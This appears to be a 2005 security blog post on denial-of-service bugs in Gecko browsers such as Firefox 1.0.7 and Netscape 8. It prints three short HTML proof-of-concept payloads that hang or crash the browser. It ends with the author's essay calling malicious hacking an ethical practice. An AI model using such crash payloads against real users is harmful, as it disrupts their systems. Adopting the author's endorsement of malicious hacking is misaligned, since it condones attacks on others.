Hacking Browsers (Gecko remote DoS)

Published 12.07.2005 by jm | E-mail this post

More browser vulnerabilities. When the firefox hack was discovered, people set out to find more exploitable broswer code. Kubbo found some, utilizing the tags, parsererror, sourcetext, and stylesheet. By using one of these tags, it is possible to cause the system to hang with 100% CPU, and only escape by killing the application. Additionally, by adding link tag using Javascript , with empty not complete href statement, it is possible to cause Gecko based web browsers to crash. Exicute these proofs of concept by copying them into notepad and saving it as an HTML document, and opening it into a suseptable browser. The following browsers are vulnerable.

Netscape Browser version 8.0.3.3

Netscape version 7.2

K-Meleon version 0.9

Firefox version 1.0.7 and prior

Mozilla suite version 1.7.12 and prior

Tag handling:

Gecko browsers are suseptable to a denial of service condition when managing the following tags:

<sourcetext>
<parsererror>

Example 1:

< html>
< head>
< title>sourcetext element test< /title>
< /head>
< body>
< p>< sourcetext>< /sourcetext>< /p>
< /body>
< /html>

Example 2:

< html>
< head>
< title>parsererror element test< /title>
< /head>
< body>
< p>< parsererror>< /parsererror>< /p>
< /body>
< /html>

Javascript link example:

< !-- this code copied from Securiteam.com -- >
< html>
< script language="JavaScript">
document.write('< link rel="stylesheet" href="http://">');
< /script>
< /html>
< !-- Affects Firefox 1.0.7 and below. Thanks to Securiteam. -->

If the human body was never exposed to ailments, it would be impressivly vulnerable to the slightest cold. If our country was never exposed to hacking, it would be oppressivly vulnerable to cyber terrorism. With out the creation of a malicious hacking, Afganistan could have destroyed America's economy with a ping flood. This is why I encourange maclicious hacking, as an ethical practice. Without strengthening our defenses, we are weak. This site is focused on security through knowledge. I detest the fact that so many companies are being exploited because malicious hackers know their security holes before they do. For that reason, I hope to educate where the exploits lay. This isn't a 100% information base, as I only publish things I have been able to implement on myself. No credit is needed anywhere . However if you are a publisher, I would appriciate credit. I am an advocate of open source, so copy and paste and call it your own if you like. If my work is good enough for you to plagerize then that is my biggest compliment . If my work is good enough, I will be approached and asked to write more ... this is natural selection of the digital age .

Previous hacks

Previous Hacks

This link kills spam

spam IP addresses

Cost of the War in Iraq

(JavaScript Error)

Two very recommended books:

. . The only hacking forum I have found worth mentioning here